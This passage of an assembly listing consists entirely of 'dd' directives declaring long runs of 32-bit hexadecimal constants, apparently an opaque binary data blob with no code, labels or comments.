		dd 2DC76718h, 0D2AB0048h, 2F70433Bh, 8A382A00h,	0E36BE136h
		dd 0F0C8A8B1h, 38DF013h, 0A51219FEh, 38B940E5h,	73E4ECE8h
		dd 0BB01D178h, 167DED06h, 3852BA2Dh, 46400067h,	7548DCCFh
		dd 140C08CCh, 50B030C4h, 9A005834h, 1AA7BC86h, 6FA19E4Dh
		dd 6BA828CAh, 1045C209h, 40C55F58h, 80A040A7h, 0C28046EEh
		dd 0BBEB0AA0h, 1C3C4Fh,	0F0DD85C8h, 193B0312h, 4A18C8F4h
		dd 584FDC40h, 0A3B598CAh, 612AE228h, 386269F4h,	7380583Fh
		dd 0ECA0451Ch, 0D8663DA4h, 215908h, 0B173AD7Dh,	42CC0D9Dh
		dd 981D2800h, 18BA856h,	6CC4A92Ch, 903C0022h, 8094699Ch
		dd 1AE4B83Eh, 4E15278Dh, 29CED46h, 0A0AA40C2h, 3CFC489Bh
		dd 1B8200E7h, 0BC85CBE5h, 8CAF31Dh, 0D7808866h,	95B082FFh
		dd 32337448h, 40E11278h, 18AB8C41h, 0FE5B0837h,	10C93548h
		dd 3E2F0674h, 0CF02B35Bh, 4DD360E2h, 5E3CF460h,	0AB90418Ah
		dd 0DA583B10h, 0F0A08351h, 24007707h, 5AC6C7D7h, 1867E332h
		dd 0C99AE9C2h, 8F001512h, 30338287h, 0A1B465AAh, 0D7DD5FBCh
		dd 0CA6CB851h, 3D709450h, 0C27262h, 2C347F32h, 0B2587154h
		dd 36709660h, 2E950E3h,	9793AB49h, 58444418h, 0C20558h
		dd 28C05E2Ah, 6D4B7AAh,	69F8B43Ah, 801E6168h, 4C40A404h
		dd 3E1B7850h, 0A1EED0h,	114FEDA6h, 1A945F32h, 78B33024h
		dd 0A6E61640h, 43B718B4h, 0E96549C7h, 2C90AEFEh, 3210475Ch
		dd 4CD1D85Fh, 7BEEE6D4h, 774F80E6h, 68D05899h, 0F62686C2h
		dd 59023094h, 41AC1364h, 0E0D318CCh, 24B28DCEh,	0DD4E0F8h
		dd 65F09702h, 88284EA0h, 0E122C073h, 590067B5h,	4A4C44D8h
		dd 0C1D280F1h, 664039E8h, 26C44088h, 114870E3h,	0C69300D0h
		dd 0EB75DD1Ah, 4E509BCh, 1C007484h, 0F3A3FEC7h,	0D1C5E900h
		dd 983D83B9h, 0F29501ECh, 0DE49844Bh, 90A5F2F5h, 382BC61Ch
		dd 2DD9CC05h, 9C327795h, 5B3030ACh, 7D569AB0h, 21D9309Ch
		dd 55B2801h, 0E1EA805Eh, 0D5948C05h, 6AAE2E0Fh,	0B735C01Eh
		dd 26DFBA0h, 0A9A86583h, 606014FCh, 1B80C38Ch, 0F0113A45h
		dd 143B80D0h, 0F469FA30h, 14E9470Bh, 4EB74421h,	0BF6187B9h
		dd 452484CFh, 38E38088h, 542C2462h, 408E44BCh, 4D94254Ch
		dd 0D5E100E7h, 18DFE622h, 8520F257h, 0C89058h, 0FE46620Fh
		dd 0C6D8CF6Ch, 251AB7F8h, 83609EEFh, 824657C0h,	33B8C184h
		dd 0FF081218h, 0CFFD0DB0h, 0B6CF01D1h, 8E6936FFh, 7D21C20h
		dd 591CD34Ah, 9A97002Ah, 781525EAh, 5ACC2ACh, 5CDFE00Bh
		dd 6083C507h, 0F5187E10h, 7F3E009Eh, 7DBC1A4Fh,	0B805E0DCh
		dd 70D024E5h, 73465CD1h, 0DAAC181h, 209C7E50h, 0E5131E24h
		dd 0C008CDF2h, 73AFC0FFh, 0D0434512h, 73A78382h, 0F2BD0EC0h
		dd 6BC9E700h, 7608672Fh, 58A7C3Ah, 7509AA19h, 0A38C1F96h
		dd 5FF1E09h, 8C621D94h,	2F325BCh, 1A0D959Ch, 18A8CC69h
		dd 198208E9h, 72C4DBE5h, 82E1D940h, 8D1E385Bh, 314B4AE4h
		dd 0F9F41069h, 757519h,	0C63981C3h, 36911AA6h, 88821709h
		dd 582C02F4h, 68FE01C0h, 0AB2E106Fh, 0D94C00D8h, 0EBFC93A7h
		dd 56FC1776h, 63C03003h, 80389790h, 12EF573Fh, 876AFE4Fh
		dd 0AFB2807Ch, 0DA48BF1Fh, 1AA23A4h, 48FD5B3Ah,	3000E2Dh
		dd 1A155B32h, 7B001427h, 0BA5447E1h, 127DA94Ah,	3B78F5h
		dd 0C526A558h, 47FAC62Fh, 70580E04h, 9480BDA4h,	988BC72Dh
		dd 3DF48084h, 3AA00042h, 6BC5D845h, 0E128A968h,	0B644D808h
		dd 0C6483E3Bh, 380FB4C8h, 8003F03Eh, 76E73A64h,	0A52A1867h
		dd 2D02B861h, 43289896h, 10474090h, 5BAE3C16h, 894AFF1Dh
		dd 2460A681h, 0C6488C34h, 0E8904C48h, 0B843DEh,	519B7789h
		dd 7369E3A6h, 0EECE257Dh, 711CA0A2h, 0A8ED38C0h, 8900ACB1h
		dd 0F644E5A6h, 0E91E0359h, 3819855Dh, 0C9CC8FB8h, 9A5C0302h
		dd 52A011AAh, 533E844h,	619C65D7h, 0F5B2C0D5h, 9B7F8AF6h
		dd 8177513Ah, 0E14A50EAh, 4062C2D4h, 2F81CC48h,	3224B7A6h
		dd 0AE1E0948h, 0C53CCBA8h, 6C3F8490h, 2E67CEAh,	0DE1D7628h
		dd 644BE30Fh, 0E99B09C0h, 0E047E426h, 91D66709h, 883019B4h
		dd 443CAA50h, 0E3E0A188h, 7308B318h, 70B0451Eh,	7300AB7Fh
		dd 6A106453h, 13E32939h, 449192Ah, 0A577801Ch, 0B4C04214h
		dd 1082FD30h, 0E0FBE535h, 82F5DDh, 69D795C5h, 4E64AB73h
		dd 6051627h, 4D291418h,	6303789Ch, 3D3CC207h, 1044614Ch
		dd 527C734Ch, 0E07F038h, 90DBB502h, 72E5E847h, 0E318F8C2h
		dd 4958C04Fh, 18349040h, 18813B7Dh, 88F1083Ch, 0B3964349h
		dd 9AC3018h, 42B0CFC4h,	51108EA5h, 20488D13h, 300BD442h
		dd 364EF1A8h, 0F03C3443h, 0FBC9056Fh, 8810E4Ch,	0E1CFE1F8h
		dd 0C0451073h, 81887418h, 8B7300A9h, 0C3E7B82Ch, 44393BB3h
		dd 345C017Fh, 0BDAEF040h, 30DA2425h, 3C9073B4h,	932CD852h
		dd 15734F00h, 383880D1h, 401A04Eh, 84E98D12h, 0DAC40DFh
		dd 21EF1E40h, 885C0B90h, 24F4C070h, 4706E3B0h, 0CF581944h
		dd 204F7558h, 0E02581B2h
		dd 0E224A47Bh, 1F73AE60h, 11C84523h, 0A6860171h, 44857E73h
		dd 6A000C72h, 0C333F76Bh, 0C603973Ah, 452A8613h, 192101BAh
		dd 78091C4Ah, 0E26FD024h, 36657A00h, 0AE3B3E68h, 0B3D70318h
		dd 46672DC3h, 44AEEEAh,	34E540A0h, 7280C670h, 96293516h
		dd 0E3B41D20h, 3782EB03h, 7162A4E5h, 82E3DB20h,	23620026h
		dd 0F1C35212h, 0BA2EA4C4h, 0B94018A8h, 0EA6B4EFh, 25FCDAAFh
		dd 0D08B4A20h, 7B5CAE09h, 0EC414B04h, 2C3C4F37h, 0F858382Ch
		dd 18CDDE8h, 5A80361Fh,	0F83CDBD3h, 4127CE47h, 40142011h
		dd 495AF672h, 7006C8Ch,	8E49CD6Eh, 7B077175h, 0E6AF030h
		dd 54FB5510h, 9C4F0173h, 1DF92FE7h, 9607E4E2h, 4401B079h
		dd 0B774A284h, 0AE400951h, 42697Eh, 7C9F7F0Ch, 10BEBA76h
		dd 0AF4B5Ch, 4087271Bh,	2A4578h, 0A74D6AAEh, 860FF6B9h
		dd 0BC9EA401h, 21BF5DB2h, 24C70EF0h, 0F728370h,	2980BAD6h
		dd 0A31A5E23h, 20A73D00h, 14F64A22h, 3351D30h, 216E0013h
		dd 0AD60C428h, 8878170Ch, 40953049h, 4606EA4h, 6A07A828h
		dd 116F60DCh, 7ACFECCEh, 2F0F157Fh, 7DEBED3Ch, 2007C30Ch
		dd 0CFF400B3h, 0E6345E7Bh, 663F629h, 3A5A5C71h,	7A0408h
		dd 80C5727Eh, 715FF22Ah, 0A42E1700h, 69AE7D18h,	3F6B0C4Ch
		dd 39101E30h, 5FBD350Ch, 33410Eh, 0D9F32F4Fh, 90ABC269h
		dd 34086166h, 7500721h,	0F020FF2Fh, 94A64689h, 8ED4CD01h
		dd 342341DAh, 13E29840h, 0C0967071h, 0F572A4A1h, 8709820Bh
		dd 8E8B6201h, 21B08CECh, 0F56A0045h, 9BFA0C49h,	0A40C0801h
		dd 0A09047C0h, 1C1F186Bh, 0F5D6B023h, 46783700h, 64E78C52h
		dd 3C0FCADh, 5B571486h,	4C84016h, 1800C3D5h, 3EAFEA3Bh
		dd 0D38B7Ch, 6F8E9548h,	0DD3A1C59h, 1FD90F0Fh, 1B57C09Fh
		dd 3F24CE0Bh, 1A005B39h, 0FFA461D3h, 0E0014FE5h, 0DAFAE6B6h
		dd 0A0DCF66Bh, 97B0075Fh, 4B18AA85h, 0EC4FC280h, 0B301B8D7h
		dd 0F7BBFAF6h, 0F8C44460h, 0B91000FBh, 0AA35798h, 4207C539h
		dd 0EA64194Ah, 109FC2C0h, 37710056h, 7C269B48h,	3E002C39h
		dd 0DDAB4BB2h, 0E8305FD6h, 0C7AD00B5h, 17F9E9F7h, 390067D7h
		dd 935329B3h, 0F22CC26Eh, 71321870h, 55672BCh, 2D018B7Ah
		dd 784F51F1h, 0E7D41F06h, 2BB04Ah, 0A9CD1D4Eh, 3E32B270h
		dd 0E400FCB0h, 0A0A695C0h, 600406A5h, 0C1AD1918h, 34004E97h
		dd 833BA113h, 3F8E3ECh,	0DE6A08B2h, 0E2887744h,	3901D8D9h
		dd 29C3D114h, 67D4C53Eh, 32BF2BCh, 0BF2115A5h, 0D3F8E69Fh
		dd 0B3005432h, 9ECDE3FEh, 0F06FD9D7h, 80695435h, 0C8B00077h
		dd 0B14AA741h, 450E56D3h, 43554883h, 0A83E81EDh, 0FC344EEh
		dd 0D4D821ABh, 8971E9E0h, 0CD0F0E12h, 0C0167B8Ch, 0C1991343h
		dd 304E1D62h, 4D6040F1h, 1F03FC10h, 7C82400h, 0CE148B75h
		dd 0F226008Eh, 7F55C16Ch, 0B1006598h, 0D9465304h, 3B39B997h
		dd 45007BFDh, 712A5EBCh, 9D5091DAh, 0F6004C10h,	0B6FFEE96h
		dd 57A249h, 73C8BC8Ah, 0B1BF2C9Ah, 964ACC01h, 95B3DF6Ch
		dd 9115ECh, 48FBA81Dh, 0E6996F7Ch, 3CE95E0Ah, 0DB00AF8Dh
		dd 7B289F6Dh, 8E0C0069h, 0D5DFA838h, 0FC002BC9h, 0FA0771D9h
		dd 79C3275h, 7B650AFBh,	0DC8C5035h, 38002819h, 628AB8E5h
		dd 0FD52507h, 0E6849E6Ch, 1B5340FEh, 5C7F6DE9h,	3D0FEC03h
		dd 0A8C15EACh, 4F9AD0h,	3152DCD2h, 4D5A0D8Bh, 0A455D00h
		dd 932E800Ch, 3A840EA9h, 7C83CEB6h, 9C980820h, 5F00F99Ah
		dd 8C28DACAh, 0C1692Eh,	0B75DB5FEh, 7F38FFE6h, 5A2A0800h
		dd 0EF326D27h, 0D990B1h, 0CCA84116h, 535D4417h,	75905578h
		dd 0C802D626h, 0ED80601Fh, 85BE426Fh, 79F6003Dh, 0AEEEC37h
		dd 56E08E90h, 4EFAAEECh, 2DF78000h, 0E3FC5120h,	88D71D4Bh
		dd 0A05B989Ch, 6900FF17h, 640DD51Dh, 1C4833Fh, 74C00CA9h
		dd 0CC443ACFh, 0AE0E9656h, 80294935h, 0BE48E1B9h, 4A5E0F7Ch
		dd 92CEA47Eh, 0A1A5D620h, 55078074h, 0ADC4AC16h, 1AC184D0h
		dd 81E60090h, 0BBC30402h, 0EF007494h, 4EA521B9h, 277883B6h
		dd 0C75648FAh, 0E1ED0103h, 0CF65F05Fh, 0AE8100E3h, 0CB0EF0Eh
		dd 0A600585Dh, 183CA8EBh, 31FC6EAh, 9632796Fh, 0A1B8F58Ch
		dd 217C2E77h, 8086473Bh, 2070B0BDh, 0AB0CADh, 44E925EAh
		dd 72D059D4h, 71007CFEh, 0B28895D3h, 7448E0B1h,	7421FDCh
		dd 0CE90C004h, 0BCBFD8B0h, 96BCB350h, 6B6F4E00h, 9347991Dh
		dd 62B000B8h, 0C8B6234Dh, 0CF391A54h, 20158740h, 32C0CA7Eh
		dd 0E4273029h, 78C53026h, 186C0129h, 4076160Eh,	0E9824023h
		dd 94A061h, 93C7BBDDh, 0CF0EEC57h, 2834D526h, 89F27807h
		dd 0E72DF5E0h, 0B85D01AEh, 22874DA3h, 17498006h, 7703D041h
		dd 93B003BFh, 26BDE2B7h, 0D7331100h, 63FABB9Ah,	53083CC7h
		dd 0EE4A8600h, 70E1130Bh, 49E40200h, 312B62D8h,	0FFD001B5h
		dd 59149DCEh, 287BCC8Fh, 60B32C00h, 3CCCFEABh, 92E8DBh
		dd 0CBB5393Ah, 13F331A9h, 0B22A7E00h, 0D46DA088h, 1238000Ch
		dd 9D63E654h, 9C901E5Ah, 0B0015500h, 68D13B46h,	0D34713ECh
		dd 836000F8h, 213BB32h,	0B9DF2700h, 79BD0B5Ch, 0B89AEA64h
		dd 5BE300DCh, 0F31B3C14h, 6F12A924h, 680027BCh,	978084BEh
		dd 5A91242Ch, 4D8E0C58h, 8300AC08h, 0D5D0E350h,	3D2F62A3h
		dd 0D8004BBAh, 0B46D493Dh, 2B03B61Ch, 76B099CCh, 65C7E8A7h
		dd 0C6450017h, 2C6DECFDh, 80C5857h, 70760778h, 5F6B0FE3h
		dd 0CDE013B9h, 0D779D042h, 0C3EA1600h, 0FE0351Ah, 0B83C18B2h
		dd 0ABA33073h, 675AEB18h, 7F0BC341h, 478500BCh,	0E805361h
		dd 0F160FB64h, 4107D31h, 0F01B4C19h, 8A120B00h,	885BD8C4h
		dd 56DB6900h, 0BAC6F07Ah, 51A10062h, 0DDCF5387h, 3CF4E5D9h
		dd 0C97B71F6h, 8A908E1Eh, 5DCD5040h, 77AFFE17h,	9F40013h
		dd 3E9BA768h, 3539DCA4h, 42C80045h, 0E672B1C3h,	530C00ABh
		dd 955C6609h, 0F28D747h, 0EE0DE011h, 98545F8Eh,	0E7DB6E0h
		dd 327CE0DEh, 4031BD87h, 68D4C4FEh, 5A70F8A0h, 74A5E0F9h
		dd 2A11CFh, 0E6FD64D9h,	751B0FD6h, 1DE1448Dh, 0E47CD8A1h
		dd 2001ABE4h, 0FCA6B28Eh, 51E00BE9h, 3D8D3A32h,	83245224h
		dd 4691B267h, 0F9AB8809h, 0FD4B002Dh, 318E9D6h,	0B330CD64h
		dd 31034814h, 0B638516Fh, 2AB01D35h, 0D6DB0079h, 0D14B110Dh
		dd 31422F00h, 0E9CFD9BCh, 0CDF80015h, 50641622h, 230021AAh
		dd 621179B8h, 0E4A2A25h, 47AC0A09h, 7CF6C0BCh, 0F3306CA9h
		dd 0E135DE00h, 0D5BC7218h, 3C9098EEh, 0D9075024h, 0F014B0C4h
		dd 8C0A462Fh, 52230400h, 0B12611FCh, 0F12775Dh,	4BCEBA5Ch
		dd 201C6D87h, 62785F7h,	0D82D8200h, 1D23F1ECh, 0FB37005Bh
		dd 7097FC30h, 59032433h, 0C0F446F0h, 0C493F009h, 6E65004Ch
		dd 80428D8Eh, 3E025889h, 49ADF572h, 11E0A233h, 1F3DC0CEh
		dd 0F621E643h, 44AE14E6h, 9F48BCFEh, 6D573400h,	807D7E4Bh
		dd 6490FAC0h, 505B5DB2h, 24FE24B7h, 84100DC8h, 402549AEh
		dd 8C40C607h, 0E5DC0012h, 0CA87AB30h, 0B03AB979h, 0F1D4802Ch
		dd 0EC8F2FC4h, 7E41C05Eh, 0EBF44207h, 1D9B8800h, 0F69A744Dh
		dd 8E9F0067h, 0FD7C8A95h, 57038D6Fh, 0AB5A4B60h, 35710031h
		dd 0E3D32AD7h, 0B670B02Bh, 5915EC30h, 0AFF448h,	0E15C4C26h
		dd 7222BDC9h, 5538E860h, 242FAD8Eh, 80183F5Dh, 99AE20F5h
		dd 0E100C3C5h, 42F89625h, 0F9E51C4h, 87843964h,	0CD20CDFh
		dd 0D0C0F761h, 28728FE2h
		dd 0A26502D7h, 3C358B01h, 270DE448h, 12592500h,	451452DFh
		dd 2F5D0086h, 0A121AC94h, 2200ECC7h, 3F158CB9h,	0C0342E95h
		dd 6732ADF0h, 0D057441h, 0FADF8418h, 7ED674C0h,	79D2A0DDh
		dd 0E56F31FFh, 90B54418h, 0D1805CF8h, 6335CDF6h, 98C6B101h
		dd 27E77215h, 0E0192F8h, 458944E6h, 39ABC038h, 4C8590Ch
		dd 140B1008h, 8C501934h, 9956C09Fh, 35B8A6CFh, 2069EC00h
		dd 0B3326819h, 0A2F60004h, 64B78C88h, 3B0186A0h, 68B2376Ch
		dd 918007F7h, 9515FA4h,	0D61C40AAh, 1F407D5Ch, 0EACA4265h
		dd 3B5F2EBh, 598339B2h,	79124D50h, 4A00ADCDh, 9313A828h
		dd 511460ECh, 2E041B45h, 800F51E8h, 6722CE38h, 0B144ACF9h
		dd 5B550C90h, 79323B4Bh, 0C8303415h, 0EB786300h, 2623ACDAh
		dd 0D6B48002h, 44486598h, 0C6160080h, 0E399228Ah, 3201BB3Fh
		dd 0B087B1D4h, 0E734DDh, 52ABA949h, 5A8FA6A8h, 8099D96Fh
		dd 5B63983Bh, 0C8891B6h, 7CD15A50h, 0C554A700h,	0D8FBC864h
		dd 2D76039Fh, 6D35407Fh, 8F214100h, 90DF6E5Dh, 0CE3B0015h
		dd 943D709Ah, 0D500C358h, 0A883758Dh, 0A4F02DB6h, 0C9300088h
		dd 862C4CC2h, 0F318032Eh, 3B81274Bh, 0E47006h, 3AA7BA13h
		dd 0CE630AC5h, 0E091DD00h, 856F97B3h, 720D0741h, 80C8C382h
		dd 4C507E87h, 0B84EB9C0h, 4F4C429h, 63BD795Bh, 7B5C80AAh
		dd 5C30D05Eh, 0AD0E2954h, 0C073B4h, 537192FFh, 6FB299CDh
		dd 34D34100h, 117F8D6Ch, 4C870033h, 0D52C496h, 0DF0106E3h
		dd 5B56BF36h, 0B98E4AA2h, 4B250AFEh, 36CC40F2h,	268E0E1Bh
		dd 0C0A09600h, 768A509Eh, 935A11A6h, 0F944181Ah, 0C29831h
		dd 289B43DBh, 806B1877h, 0BEB35400h, 9A1735B2h,	0C7CF0063h
		dd 0B03BF9D4h, 8C00388Dh, 0E8E08362h, 1057F28h,	2FAD1E2h
		dd 8F414B64h, 0A0E91E99h, 0BF38E42Fh, 638502C8h, 461879ABh
		dd 618E59E0h, 0F0440518h, 7AD69089h, 40800453h,	84F9E819h
		dd 36DC46A0h, 0C300B923h, 0BF418474h, 4B4D5Dh, 8F373ECh
		dd 3CD14EE5h, 5AE680FEh, 59FBBD32h, 9AD0905Dh, 0D6E200F5h
		dd 0A0AE8A57h, 7F509467h, 0BEEC54B0h, 80B4F34Ch, 239DD348h
		dd 3BA0010Ah, 0AAEFD726h, 74B2C0E1h, 0C087DF00h, 6DC1072Fh
		dd 0F86B507Ah, 0FB9E0301h, 0FE810FB3h, 5DF660A8h, 0C851CBh
		dd 0CAE9671Dh, 89510073h, 8AD8E0A0h, 9D01184Ah,	0E4D4D16Eh
		dd 35E85949h, 0D04B52E3h, 65D8F101h, 0C8BD1185h, 1E28C02Fh
		dd 0D558B823h, 6B1802Ch, 7AB3D9E7h, 855D07B6h, 559E1CC6h
		dd 647880D1h, 2C903117h, 0E3DF5C05h, 0A8472A34h, 614F1623h
		dd 0AB7EFE92h, 0ADB1030h, 19506386h, 2D5809Ch, 0A3283E4Ah
		dd 8FE5B33Eh, 0C7A584C0h, 85E0452Bh, 6564E8h, 0A4D15E07h
		dd 0D421E4C7h, 5B415661h, 71A43891h, 480F019Ch,	10515CE4h
		dd 1474CBCh, 96F491D9h,	0D0D35B95h, 0E00101EBh,	87C36274h
		dd 0B8249A76h, 684E88Fh, 3443B422h, 40755937h, 650FCE03h
		dd 0F8B169B8h, 1C33D61h, 540AFB85h, 80497921h, 3EA4FD71h
		dd 60326DA2h, 40134136h, 120E5B68h, 205C6AA1h, 0D4FBFD11h
		dd 876C0164h, 0F67E8F39h, 8038F9E6h, 0D1903049h, 1CEB1Ah
		dd 0C6A766F1h, 6C4E59A1h, 9F185B01h, 0D4255286h, 0A0408463h
		dd 0CC4909CEh, 4C90ED53h, 4DFADA04h, 0A4A19790h, 0A994402Eh
		dd 5F224CFEh, 68C60022h, 54853F07h, 65010EE5h, 0EBD95334h
		dd 0E7F448A8h, 93A60261h, 83E4C403h, 1B7FFC80h,	0DB767838h
		dd 6E356011h, 0C7FA0200h, 1E19CA4Fh, 0B973BF00h, 2D0A9932h
		dd 72E800B2h, 2E6F43C4h, 7094F19Ah, 75CFFD80h, 90D93574h
		dd 7BE200E0h, 85BF7354h, 0A9C1575Dh, 0E5560DFEh, 0A0CD7EC0h
		dd 0B3F5D9h, 888E9C05h,	0DC0207A0h, 326C0912h, 402DEC20h
		dd 0D20006Fh, 47F2538Ah, 1200B9BFh, 0F59CF15Bh,	2F9D7C5h
		dd 4920A27Ch, 44C44BE4h, 80867600h, 7DC7D06Dh, 0EEAB025Eh
		dd 884CCCA1h, 0ECA97840h, 0C8152300h, 5D6D87E4h, 0BD5B1B4Fh
		dd 88C44190h, 5E00A174h, 65FD8DC0h, 1E8ECAh, 4F5C5F54h
		dd 0DF98A915h, 0E2E48A2Fh, 67882084h, 0FFEF925h, 13C95833h
		dd 78EBA80h, 0E1125F19h, 30203578h, 7CDA05B6h, 0EBE5000Ah
		dd 7202317Ch, 5B0FAC8Dh, 85715A44h, 0D0247F39h,	0D9267040h
		dd 7E92B8h, 0FB824D18h,	0B2AE16CEh, 0D21CDA00h,	2440C535h
		dd 0C42A00A7h, 184CEEC7h, 0A2493D3h, 333A22FAh,	0C0BC1897h
		dd 3E03960Fh, 6E26259Dh, 0C8334450h, 0B500C108h, 9B025E6Bh
		dd 0E8D6Fh, 2C1724CBh, 0D1AD3D7Ch, 7218345Ch, 0AC65373Ah
		dd 9CC144A1h, 0A017FD49h, 0DE1B72FAh, 210265B0h, 22AA3DE6h
		dd 3E545A70h, 3B3E486Ch, 0FE048307h, 0B1912CD0h, 3E3AB60Bh
		dd 1518987Fh, 0E8FB0997h, 0D490ED49h, 5D00017Fh, 50BD2B54h
		dd 9FE58A4h, 1EF362C1h,	6787F380h, 0B3263D2Ch, 5A09E979h
		dd 43D06A8Ch, 0B597C98Ch, 0FB3BC440h, 840770Dh,	31D8390Ah
		dd 0C7ECA83h, 0FCE0D980h, 334FDCF4h, 6A815BF6h,	7C785280h
		dd 0DDE62017h, 616E5300h, 0E9BBCCFEh, 49813421h, 87678B0Ch
		dd 8018286Bh, 0CAD61038h, 806E0064h, 46D11CDFh,	73B868ADh
		dd 6595D800h, 2403902Eh, 20525C8Bh, 0FD671D81h,	0ED4E70A8h
		dd 0D0BB1F0Eh, 5B6E821Eh, 3C5ABFh, 0C34C14C8h, 0C0175D37h
		dd 924925Ch, 48F663E6h,	655880h, 198A5149h, 0C775B63Ch
		dd 9A98C807h, 711D501Ch, 30BBC5E8h, 0B1E2E704h,	0F00E414h
		dd 2CAA898Dh, 1435AECAh, 2CF18ED3h, 170D6800h, 0D227A0A7h
		dd 3C00C590h, 94E2BB33h, 0C013DAF9h, 897E8E29h,	0C8760D67h
		dd 8034EC4Ch, 37E795F8h, 382177E0h, 0A4D43541h,	6BFEACh
		dd 57A1F124h, 19DC45D5h, 212B3230h, 30F5FA42h, 0DA08F1C7h
		dd 0E4E0C425h, 2CF8D450h, 39B5831Dh, 803CF0A9h,	294311D5h
		dd 9435C61Ah, 0F008875Ch, 28B72256h, 52AA5440h,	1143C50Bh
		dd 615C1050h, 8BE01DFh,	37CB802Ah, 0E825E19Ch, 0F75835Ah
		dd 0D122DB32h, 0EC4436h, 2FDD3459h, 0D51EB878h,	0E9A48200h
		dd 0D13ED77Dh, 5B583B2Ch, 0BE8C4102h, 70C43548h, 0AE079B0Fh
		dd 57C05D02h, 8AFDAF31h, 0E9420197h, 60A01A36h,	3BA048EDh
		dd 0B752E70Bh, 4AE800CCh, 0FA4FB3h, 4D41821Dh, 5A49B919h
		dd 260F1492h, 0E01BB2CDh, 8230DFF1h, 802D07F8h,	474C19B4h
		dd 29353301h, 7E528907h, 0B2B16D85h, 0A480E4CFh, 0A88CB08Eh
		dd 444A8BA9h, 0C8DEA840h, 0F12E17h, 0A3E39DACh,	8C68E49Ah
		dd 0D6F0BB06h, 0E4386569h, 0F578B848h, 92688010h, 4D867801h
		dd 0D1FA9DBFh, 4FB16C40h, 45542619h, 0B4FE0128h, 50080979h
		dd 8C3B9E50h, 6C687103h, 0F1576F27h, 40728D5Bh,	0F62A0601h
		dd 0FA5D29B3h, 0D88F520h, 8BC201E2h, 954FBE04h,	10644749h
		dd 24F41285h, 0CFE84600h, 8ED26074h, 0A230002Bh, 53D684AFh
		dd 0EC308CD1h, 1E6A910h, 0FB64037Ah, 54F4FF08h,	4C8E798h
		dd 0ED406000h, 0D6964DA2h, 444CB855h, 0F83CC54Ch, 0BFFF8EEEh
		dd 887544h, 1195B3E8h, 3BD0E3h,	2C6B020Eh, 10F9096Ch, 0BD476096h
		dd 350AD150h, 9ED2504Ch, 0D42600C5h, 75036A45h,	0B6E47F5Bh
		dd 0E3315760h, 24B5E585h, 40C8ED05h, 6DE7D658h,	89A57004h
		dd 904059ECh, 9D57D8C6h, 1B38E400h, 2F668564h, 20D24B0Eh
		dd 441D0B6Ch, 0A2B69B00h, 0AC87A510h, 0DA4B3D93h, 73891FCh
		dd 0F0F108h, 21C67CA4h,	73B4DE2h, 8A54800Ah, 0B3433C2Eh
		dd 0A0B5018Ch
		dd 0D693D13Fh, 0D00DDD4Eh, 0EE1CC662h, 2683A3B6h, 0C0CC8340h
		dd 28F32989h, 0ECFD3956h, 8DBF30BAh, 7D216538h,	6C1EFCB9h
		dd 966443C7h, 15B766F0h, 0FAFB16A5h, 8B3C21D7h,	856FDC08h
		dd 6C40A900h, 5AAD8237h, 0A1899DBh, 80CCFC4Bh, 803EA0FEh
		dd 0F400D6F6h, 0D06CD910h, 18E6EB2Fh, 703631ECh, 444CA641h
		dd 14822CCh, 6B4B3E29h,	0DB865A81h, 2745948h, 0FB2EAB13h
		dd 61852D1h, 2FAD442h, 0AE5C2062h, 135FC0E0h, 1DFF31C7h
		dd 80644D6Ah, 49CC63F2h, 76005645h, 7306B28Ah, 78FFC2Ch
		dd 0E2D52DE5h, 29018396h, 0CD4CAC0h, 0FADED109h, 72B018D2h
		dd 8D1D0068h, 48281E61h, 0CD34FE2Bh, 10A02110h,	0B1AD00F4h
		dd 5D8067BDh, 1262C525h, 448C5C21h, 6B651630h, 549888AAh
		dd 0D4032F00h, 0CF5A3EC0h, 0ADB80073h, 0F67929C6h, 40E66D3h
		dd 0B8E46ABFh, 12C0EEA0h, 905D2D0Ah, 8CAC9B80h,	40190303h
		dd 0D04AC5C4h, 0EEDD01h, 427F52D0h, 6F8E7D6Eh, 581D4B02h
		dd 91B85A3Dh, 0C50220BCh, 34CCCC62h, 0B3E0C3F9h, 5B0E4C04h
		dd 5E011A71h, 0CE393658h, 0AF590937h, 58824975h, 0DC403206h
		dd 6C88527Eh, 17FA9085h, 0B35CB4h, 3BBAC996h, 69C05AEDh
		dd 67A92856h, 0AEC60BBDh, 66826EC5h, 0D8C65AE3h, 4A353Ch
		dd 8A885579h, 46E4156h,	6825752Fh, 1A864011h, 3BA7129Bh
		dd 8C00E622h, 5BD25E5Fh, 0A24FAD1h, 0A3A2052h, 9C5CE5F7h
		dd 407BBD42h, 24AEE7h, 33415ED7h, 18347E4Fh, 0D0900600h
		dd 1072BA1Dh, 0FE300C81h, 33710E6Eh, 0F382449h,	20407A35h
		dd 1FB12085h, 0ECD75421h, 0B0672855h, 0E892A4h,	73923317h
		dd 0DCAF8FC8h, 30344Eh,	7832BE06h, 4060B4C3h, 44ACC9C6h
		dd 8EBF6500h, 4BFDD3F2h, 218CA824h, 0ABEB0020h,	23F48D61h
		dd 0D600BB4Fh, 3070CA5Ah, 28DFF8h, 0FBC874FCh, 0D7230F20h
		dd 0ED17407Fh, 0E0050E10h, 981CADE0h, 0BEB1CF41h, 5C70AB88h
		dd 74B802ECh, 1EE0C661h, 91007871h, 1C1B5F21h, 0D1FF003Ah
		dd 0C608933Ch, 330504BEh, 7DA6FF8h, 0FA8DEFC2h,	404B4F44h
		dd 8AF00538h, 250229B0h, 3A45A424h, 0C59C6011h,	0CFEF032Bh
		dd 0D54DAC5Ah, 30648DC9h, 90A493CBh, 75A27101h,	545D85BBh
		dd 60354B11h, 7C0086BBh, 0E3776462h, 79E13D78h,	0D725153Ch
		dd 950BD8FFh, 0DC905F33h, 733A7DD9h, 27057B22h,	0F81B2CAh
		dd 260BC37h, 1FD0134h, 6C66C6FEh, 2154C284h, 0FE472DCh
		dd 932AABADh, 8C090200h, 39E4750Dh, 0D10593FCh,	0CC64822Fh
		dd 6902E154h, 0E5147B7Eh, 7195805Fh, 2133ACh, 0AE86447Fh
		dd 0B7DD0396h, 70545D50h, 0F63FE100h, 271ABCCEh, 638D00C6h
		dd 2B4E5C72h, 4000D38Bh, 6CFE0EB3h, 169ACC3h, 0A967150h
		dd 6D5CD0E1h, 0EA62011Ch, 76AE973Eh, 0FA7113D0h, 7323265Bh
		dd 0C9F21FF8h, 0E0C4D881h, 771BCB00h, 62B561E6h, 0B8D50073h
		dd 1312CF53h, 9100460Fh, 720A795Bh, 0E8EC484Bh,	0A16A1D8Dh
		dd 0DA560070h, 93C7BEBCh, 5E80602h, 409AEFC8h, 0B3AE34h
		dd 877218B6h, 0AD16FA7Fh, 89B78C07h, 3B0F06Dh, 0B1522CCFh
